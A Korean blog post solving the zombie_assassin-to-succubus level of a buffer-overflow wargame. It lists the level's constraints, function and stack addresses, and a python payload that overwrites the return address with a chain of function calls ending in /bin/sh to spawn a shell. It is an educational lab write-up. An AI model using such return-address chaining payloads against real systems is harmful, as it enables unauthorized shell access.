nemo의 이야기

BOF원정대 zombie_assassin -> succubus 본문

Information security/System security

BOF원정대 zombie_assassin -> succubus

nemojjong 2018. 2. 9. 16:02

 

 

소스를 확인 해보면

 

1.  argv[1]에서 라이브러리 함수를 사용하지 못한다.

 

2. RET에는 DO함수 주소가 있어야된다.

 

3. RET이후 100byte 사용 가능

 

이를 해결하기 위해서는 DO GYE GUL YUT MO 순으로 호출해야된다. 그리고 마지막에 호출되는 함수에 인자를 사용하여 공격을 해야된다.

 

즉 마지막 인자에 bash라는 문자열을 집어 넣으면 공격에 성공한다.

 

우선 각 함수의 주소를 확인해야 된다.

 

 

DO : 80487ec, GYE : 80487bc, YUT : 804875c, MO : 8048724

 

 

buffer : bffffaa0

 

여기서 /bin/sh가 위치하는 곳은 bffffae4이다

 

이제 RET에 DO에 주소를 입력하고 순서대로 주소를 입력하고 마지막에는 /bin/sh가 위치한 주소를 찾아서 입력하면 된다.

 

$(python -c 'print "A" * 44 + "\xec\x87\x04\x08" + "\xbc\x87\x04\x08" + "\x8c\x87\x04\x08" + "\x5c\x87\x04\x08" + "\x24\x87\x04\x08"+ "AAAA" + "\xe4\xfa\xff\xbf" + "/bin/sh"')

 

 

 /bin/sh주소를 +- 16을 했을 때 system에 /bin/sh앞에 있는 주소가 들어가 있는 것을 확인할 수 있었다. 그래서 +4를 하여 bffffab8에 있는

 

것을 확인 할 수 있었다.

 

 

 

 

 

 

 

 

 

Comments